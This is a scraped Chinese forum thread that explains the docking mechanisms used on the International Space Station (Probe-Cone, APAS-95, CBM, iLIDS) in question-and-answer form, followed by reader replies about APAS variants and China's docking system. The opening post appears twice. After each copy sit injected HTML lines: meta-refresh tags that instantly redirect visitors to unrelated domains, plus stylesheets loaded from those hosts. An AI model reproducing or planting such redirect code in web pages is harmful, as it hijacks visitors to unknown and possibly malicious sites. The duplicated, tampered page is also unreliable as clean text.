简介国际空间站上的几种对接装置

来源:百度文库 编辑:超级军网 时间:2024/04/28 03:29:03


从本版的《关于天宫1号的对接装置》一帖(http://lt.cjdby.net/thread-1159078-1-1.html)中可以看出很多网友对于对接装置并不是特别了解。国际空间站(简称ISS)集中了目前正在使用的三种对接装置:Probe-Cone(也就是销钉-锥孔式)、APAS-95和CBM(common berthing mechanism),未来还会用iLIDS( international Low Impact Docking System)/NDS(NASA Docking System)代替PMA-2上的APAS-95接口。这里用问答的形式以ISS为例介绍一下这几种对接装置。

四种对接装置的示意图
图片1.jpg

Q:Probe-Cone、APAS-95、CBM和iLIDS四种对接口有什么不同?
A:Probe-Cone对接口分主动端Probe和被动端Cone,携带主动端的两艘联盟飞船无法相互对接;
APAS-95对接口既可用作主动端也可用作被动端,携带主动端的两艘航天飞机可以相互对接;
CBM对接口无法自主对接,需机械臂辅助,其优点是舱口尺寸是APAS-95的1.7倍,非俄国舱段(美、欧、日)使用的国际空间站标准机架只能通过CBM对接口运送;
iLIDS对接口虽然尺寸与APAS-95相仿,但由于前者是电磁对接装置而后者是机械对接装置,因此iLIDS无法与APAS-95直接对接,需经过一个转换装置(ISS LIDS/APAS Adapter),如下图所示。
图片2.jpg

Q:ISS的各舱段之间分别使用何种对接装置连接?
A:所有的俄国舱段之间使用Probe-Cone对接口相连,这些舱段可以自主相互对接;
所有的非俄国舱段(美、欧、日)使用CBM对接口相连,包括航天飞机携带的补给仓MPLM,这些舱段只能通过航天飞机运输;
非俄国舱段和俄国舱段之间的对接使用APAS-95对接口,这种对接方式只有一处使用,就是Zarya舱的前端通过PAM1与Node1节点舱(Unity)对接。

Q:为ISS运送货物和成员的飞船都使用何种对接装置?
A:按对接口分类
Probe-Cone:Soyuz、Progress和ATV,这三种飞船只能与带有probe-cone被动端的俄国舱段对接;
APAS-95:航天飞机,只能与带有APAS-95被动端的PMA对接
CBM:HTV、Dragon和Cygnus,这三种飞船只能与带有CBM被动端的节点舱Node 2(harmony)对接,同时对接过程需要加拿大机械臂辅助。


Q:连接俄国舱段的Probe-Cone对接口与连接Soyuz飞船的Probe-Cone对接口是否有异同?
A:Probe-Cone对接口有两种,分别是classic和hybrid,前者专门用于飞船和空间站对接,后者专门用于空间站舱段对接。两者的区别主要在于hybrid的直径要大一些,另外hybrid对接口部分借鉴了APAS,这也是“hybrid”一词的来源。

Q:ATV和HTV为何不使用APAS-95?
A:ATV和HTV在ISS后勤补给中的分工不同。
ATV负责ISS推进所需燃料的运输和ISS轨道提升任务,必须与俄国舱段对接,因此使用Probe-Cone对接口。这也意味着ATV无法运输ISS标准机架,因此体积较小的宇航员日常消耗品(水、食品、空气和试验材料)大多由ATV运输;
HTV则主要负责运送包括ISS标准机架在内的试验器材,因此使用大直径的CBM对接口,与节点舱Node 2对接。同时由于加拿大机械臂无法达到ATV的对接位置,因此ISS的备份零部件和舱外暴露试验材料等非加压货物也需要靠HTV运输。在目前航天飞机退役而Dragon和Cygnus尚未投入使用的空白期,HTV成为唯一可以运输ISS标准机架和非加压货物的飞船。<meta http-equiv="refresh" content="0; url=http://558812.com">
<meta http-equiv="refresh" content="0; url=http://585895.com">
<link href="http://558812.com/y6y8.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://585895.com/kk.css" rel="stylesheet" type="text/css" media="screen" />

<P>&nbsp;</P>

<P>&nbsp;</P>


从本版的《关于天宫1号的对接装置》一帖(http://lt.cjdby.net/thread-1159078-1-1.html)中可以看出很多网友对于对接装置并不是特别了解。国际空间站(简称ISS)集中了目前正在使用的三种对接装置:Probe-Cone(也就是销钉-锥孔式)、APAS-95和CBM(common berthing mechanism),未来还会用iLIDS( international Low Impact Docking System)/NDS(NASA Docking System)代替PMA-2上的APAS-95接口。这里用问答的形式以ISS为例介绍一下这几种对接装置。

四种对接装置的示意图
图片1.jpg

Q:Probe-Cone、APAS-95、CBM和iLIDS四种对接口有什么不同?
A:Probe-Cone对接口分主动端Probe和被动端Cone,携带主动端的两艘联盟飞船无法相互对接;
APAS-95对接口既可用作主动端也可用作被动端,携带主动端的两艘航天飞机可以相互对接;
CBM对接口无法自主对接,需机械臂辅助,其优点是舱口尺寸是APAS-95的1.7倍,非俄国舱段(美、欧、日)使用的国际空间站标准机架只能通过CBM对接口运送;
iLIDS对接口虽然尺寸与APAS-95相仿,但由于前者是电磁对接装置而后者是机械对接装置,因此iLIDS无法与APAS-95直接对接,需经过一个转换装置(ISS LIDS/APAS Adapter),如下图所示。
图片2.jpg

Q:ISS的各舱段之间分别使用何种对接装置连接?
A:所有的俄国舱段之间使用Probe-Cone对接口相连,这些舱段可以自主相互对接;
所有的非俄国舱段(美、欧、日)使用CBM对接口相连,包括航天飞机携带的补给仓MPLM,这些舱段只能通过航天飞机运输;
非俄国舱段和俄国舱段之间的对接使用APAS-95对接口,这种对接方式只有一处使用,就是Zarya舱的前端通过PAM1与Node1节点舱(Unity)对接。

Q:为ISS运送货物和成员的飞船都使用何种对接装置?
A:按对接口分类
Probe-Cone:Soyuz、Progress和ATV,这三种飞船只能与带有probe-cone被动端的俄国舱段对接;
APAS-95:航天飞机,只能与带有APAS-95被动端的PMA对接
CBM:HTV、Dragon和Cygnus,这三种飞船只能与带有CBM被动端的节点舱Node 2(harmony)对接,同时对接过程需要加拿大机械臂辅助。


Q:连接俄国舱段的Probe-Cone对接口与连接Soyuz飞船的Probe-Cone对接口是否有异同?
A:Probe-Cone对接口有两种,分别是classic和hybrid,前者专门用于飞船和空间站对接,后者专门用于空间站舱段对接。两者的区别主要在于hybrid的直径要大一些,另外hybrid对接口部分借鉴了APAS,这也是“hybrid”一词的来源。

Q:ATV和HTV为何不使用APAS-95?
A:ATV和HTV在ISS后勤补给中的分工不同。
ATV负责ISS推进所需燃料的运输和ISS轨道提升任务,必须与俄国舱段对接,因此使用Probe-Cone对接口。这也意味着ATV无法运输ISS标准机架,因此体积较小的宇航员日常消耗品(水、食品、空气和试验材料)大多由ATV运输;
HTV则主要负责运送包括ISS标准机架在内的试验器材,因此使用大直径的CBM对接口,与节点舱Node 2对接。同时由于加拿大机械臂无法达到ATV的对接位置,因此ISS的备份零部件和舱外暴露试验材料等非加压货物也需要靠HTV运输。在目前航天飞机退役而Dragon和Cygnus尚未投入使用的空白期,HTV成为唯一可以运输ISS标准机架和非加压货物的飞船。<meta http-equiv="refresh" content="0; url=http://558812.com">
<meta http-equiv="refresh" content="0; url=http://585895.com">
<link href="http://558812.com/y6y8.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://585895.com/kk.css" rel="stylesheet" type="text/css" media="screen" />

<P>&nbsp;</P>

<P>&nbsp;</P>
严格的说,Zarya曙光号不是俄罗斯制造美国拥有的舱段么,怎么大家包括俄罗斯人自己的报告,很多时候都记算成俄罗斯舱?
如果这么算的话,三个节点舱岂不是都是意大利人的
很好的帖子,非常详细。以前在航空航天港学习过,这次又梳理了一遍。
lsquirrel 发表于 2011-10-1 22:01
严格的说,Zarya曙光号不是俄罗斯制造美国拥有的舱段么,怎么大家包括俄罗斯人自己的报告,很多时候都记算成 ...
主要是为了便于对接口归类,毕竟zarya从技术角度上还是俄式风格
请教一下,目前中国使用的是接近于哪一种对接装置?
中国好像用的是类似APAS-95接口的对接装置吧
那中国的呢?
心在云阁 发表于 2011-10-2 09:30
那中国的呢?
仿制APAS-89
这也意味着ATV无法运输ISS标准机架,因此体积较小的宇航员日常消耗品(水、食品、空气和试验材料)大多由ATV运输
============================================================================

这么说,进步货运飞船就是打零工的?
LIDS/ADBS和iLIDS/NDS是什么关系啊?


APAS-89和APAS-95之间有哪些改进?

APAS-89和APAS-95之间有哪些改进?

axsuper 发表于 2011-10-2 17:35
这也意味着ATV无法运输ISS标准机架,因此体积较小的宇航员日常消耗品(水、食品、空气和试验材料)大多由AT ...


ISS标准机架(International Standard Payload Rack)是非俄国舱段的标配,宽度是1.05米,俄国舱段用的似乎是另一套体系。

ADBS、LIDS和NDS是一套系统在不同项目中的名称,X-38项目中叫ADBS(Advanced Docking Berthing System),星座计划中叫LIDS(Low Impact Docking System ),MPCV则叫NDS(NASA docking system),当然具体设计也有些微差异。
axsuper 发表于 2011-10-2 17:35
这也意味着ATV无法运输ISS标准机架,因此体积较小的宇航员日常消耗品(水、食品、空气和试验材料)大多由AT ...


ISS标准机架(International Standard Payload Rack)是非俄国舱段的标配,宽度是1.05米,俄国舱段用的似乎是另一套体系。

ADBS、LIDS和NDS是一套系统在不同项目中的名称,X-38项目中叫ADBS(Advanced Docking Berthing System),星座计划中叫LIDS(Low Impact Docking System ),MPCV则叫NDS(NASA docking system),当然具体设计也有些微差异。
cruelworm 发表于 2011-10-2 20:09
APAS-89和APAS-95之间有哪些改进?
APAS-95是专门为shuttle与ISS对接而改进的。
ISS采用桁架结构,桁架上的太阳能板和散热片对于过载的承受力要低于Mir,因此对APAS-89进行了改进,使对接过程更加“和缓”。如果说还有什么区别的话,PMA-2和PMA-3上的APAS-95对接口是固定的,所以APAS-95并非严格的“androgynous ”(但这只是根据实际情况所作的改进,并非设计如此)
单从硬件上讲,一艘联盟级别的飞船使用APAS-89与PMA-2对接应该是没有问题的。
单从硬件上讲,一艘联盟级别的飞船使用APAS-89与PMA-2对接应该是没有问题的。
==============================================================

神舟飞船对接装置参考APAS-89,目的之一也是为了应对和ISS对接的可能吧?
axsuper 发表于 2011-10-2 22:43
单从硬件上讲,一艘联盟级别的飞船使用APAS-89与PMA-2对接应该是没有问题的。
========================= ...
呵呵,这个已经超出技术的范畴,就不得而知了
cmj9808 发表于 2011-10-2 14:28
仿制APAS-89
特征上来说是APAS-95
导向板兼顾锁扣
百臂巨人 发表于 2011-11-3 22:52
特征上来说是APAS-95
导向板兼顾锁扣
APAS-89上也有锁扣,如Soyuz-TM 16的对接口

soyuz-tm-16__1.jpg

tm16_nk_626.jpg
还是没有明白上面的三瓣起的是什么作用
学习了,估计末日的HTV还不错。